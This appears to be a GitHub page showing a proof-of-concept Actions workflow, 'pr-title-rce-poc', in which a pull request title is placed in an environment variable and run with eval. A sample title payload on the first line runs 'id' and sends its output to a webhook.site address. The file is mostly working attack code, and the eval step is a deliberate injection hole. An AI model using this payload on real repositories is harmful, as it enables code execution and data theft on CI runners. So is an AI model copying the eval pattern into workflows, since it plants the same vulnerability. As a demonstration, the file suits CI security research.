id; curl http://webhook.site/<your-id>?output=$(id) #1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: pr-title-rce-poc | |
| on: | |
| pull_request: | |
| types: [opened, edited] | |
| jobs: | |
| exploit-via-pr-title: | |
| runs-on: ubuntu-latest | |
| steps: | |
| - name: Dump PR Title as Command | |
| env: | |
| PAYLOAD: ${{ github.event.pull_request.title }} | |
| run: | | |
| echo "[+] Executing injected PR title payload" | |
| eval "$PAYLOAD" |